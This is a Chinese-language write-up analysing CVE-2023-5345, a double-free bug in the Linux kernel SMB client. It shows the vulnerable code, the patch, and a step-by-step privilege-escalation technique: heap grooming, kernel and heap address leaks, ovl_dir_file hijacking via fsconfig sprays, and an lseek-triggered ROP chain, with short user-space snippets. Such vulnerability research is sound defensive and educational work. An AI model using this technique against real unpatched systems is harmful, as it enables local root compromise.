CVE-2023-5345 Linux内核 SMBFS 模块 UAF 漏洞分析与利用
字数 2021 2025-08-24 07:48:33
Linux内核SMBFS模块UAF漏洞(CVE-2023-5345)分析与利用教学
1. 漏洞概述
CVE-2023-5345是Linux内核SMBFS模块中的一个Use-After-Free(UAF)漏洞,存在于smb3_fs_context_parse_param函数中。该漏洞允许本地攻击者通过精心构造的系统调用链实现权限提升。
2. 漏洞分析
2.1 漏洞位置
漏洞位于fs/smb/client/fs_context.c文件中的smb3_fs_context_parse_param函数:
static int smb3_fs_context_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
case Opt_max_credits:
if (result.uint_32 < 20 || result.uint_32 > 60000) {
cifs_errorf(fc, "%s: Invalid max_credits value\n", __func__);
goto cifs_parse_mount_err; // 入参不符合规范
}
ctx->max_credits = result.uint_32;
break;
cifs_parse_mount_err:
kfree_sensitive(ctx->password);
return -EINVAL;
}
2.2 根本原因
当解析max_credits参数失败时,代码会跳转到cifs_parse_mount_err标签释放ctx->password,但没有将指针置空,导致双重释放(Double Free)问题。
2.3 触发路径
-
通过
Opt_pass分配ctx->password:case Opt_pass: kfree_sensitive(ctx->password); ctx->password = NULL; if (strlen(param->string) == 0) break; ctx->password = kstrdup(param->string, GFP_KERNEL); if (ctx->password == NULL) { cifs_errorf(fc, "OOM when copying password string\n"); goto cifs_parse_mount_err; } break; -
通过
Opt_max_credits分支传入错误参数,导致ctx->password被释放但指针未置空 -
关闭文件系统对应fd导致
ctx->password再次被释放
3. 补丁分析
补丁修复了指针未置空的问题:
diff --git a/fs/smb/client/fs_context.c b/fs/smb/client/fs_context.c
index e45ce31bbda717..a3493da12ad1e6 100644
--- a/fs/smb/client/fs_context.c
+++ b/fs/smb/client/fs_context.c
@@ -1541,6 +1541,7 @@ static int smb3_fs_context_parse_param(struct fs_context *fc,
cifs_parse_mount_err:
kfree_sensitive(ctx->password);
+ ctx->password = NULL;
return -EINVAL;
}
4. 漏洞利用技术
4.1 信息泄露阶段
4.1.1 内核基地址泄露
利用user_key_payload和shm_file_data结构体重叠泄露vm_ops获取内核基地址:
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
步骤:
- 在kmalloc-32分配
ctx->password - 触发漏洞释放
ctx->password - 分配
user_key_payload占位刚释放的ctx->password - 再次释放
ctx->password导致user_key_payload被释放 - 大量分配
shm_file_data占位刚释放的user_key_payload - 此时
user_key_payload和shm_file_data重叠,通过user_key_payload读出shm_file_data内容
4.1.2 堆地址泄露
利用simple_xattr和user_key_payload泄露堆地址:
struct simple_xattr {
struct list_head list;
char *name;
size_t size;
char value[];
};
特点:
value部分数据由用户态控制- 通过文件的多个xattr通过list双向链表管理
- 泄露list可以找到存放用户数据的堆地址
流程:
- 使
simple_xattr(VX)和user_key_payload在kmalloc-96上重叠 - 通过
simple_xattr_set给VX对应的文件增加8192大小的xattr - 新xattr会插入到VX的
list->prev - 利用
user_key_payload读取VX->list.prev泄露kmalloc-8192中的地址
4.2 控制流劫持
4.2.1 利用Double Free劫持ovl_dir_file
static int ovl_dir_open(struct inode *inode, struct file *file)
{
struct ovl_dir_file *od;
od = kzalloc(sizeof(struct ovl_dir_file), GFP_KERNEL);
if (!od)
return -ENOMEM;
// ...初始化代码...
file->private_data = od;
return 0;
}
步骤:
- 利用Double Free实现
ovl_dir_file结构体的UAF - 使用
ramfs_parse_param占位ovl_dir_file - 控制
od->realfile指向泄露的堆地址 - 在伪造的
realfile中让f_op指向另一个泄露的堆地址 - 触发
vfs_llseek(od->realfile, offset, origin)实现控制流劫持
4.2.2 占位技术
使用fsconfig系统调用的FSCONFIG_SET_STRING命令:
SYSCALL_DEFINE5(fsconfig, int, fd, unsigned int, cmd,
const char __user *, _key, const void __user *, _value, int, aux)
{
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
// ...
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256); // 分配字符串缓冲区
// ...
}
用户态代码:
struct ovl_dir_file *od = (struct ovl_dir_file *)overwrite_buf;
od->realfile = fake_file_addr;
overwrite_buf[sizeof(struct ovl_dir_file)] = 0;
for (int i = 0; i < 2; i++)
syscall(SYS_fsconfig, overwrite_ovl_dir_file_fsfds[i],
FSCONFIG_SET_STRING, "source", overwrite_buf, 0);
4.3 最终利用
- 在kmalloc-8192 #1和kmalloc-8192 #2分别伪造
file结构体和f_op - 用户态对
ovl_dir_file的fd调用lseek系统调用执行ROP
lseek(trigger_code_execution_fd, rop_stack, SEEK_CUR);
5. 关键数据结构
5.1 shm_file_data结构
用于共享内存管理,包含关键的vm_ops指针。
5.2 simple_xattr结构
用于扩展属性管理,利用其链表指针泄露堆地址。
5.3 ovl_dir_file结构
OverlayFS目录文件结构,被劫持实现控制流转移。
6. 利用技巧总结
- 堆风水:精确控制内核对象在特定slab中的布局
- 信息泄露:
- 利用
shm_file_data泄露内核基地址 - 利用
simple_xattr链表泄露堆地址
- 利用
- 对象劫持:
- 通过Double Free实现
ovl_dir_file的UAF - 伪造
file和file_operations结构体
- 通过Double Free实现
- 控制流劫持:通过
lseek触发ROP链执行
7. 防御建议
- 及时更新内核补丁
- 启用KASLR和SMAP/SMEP
- 限制非特权用户的
fsconfig系统调用访问 - 使用内存安全语言重写敏感内核模块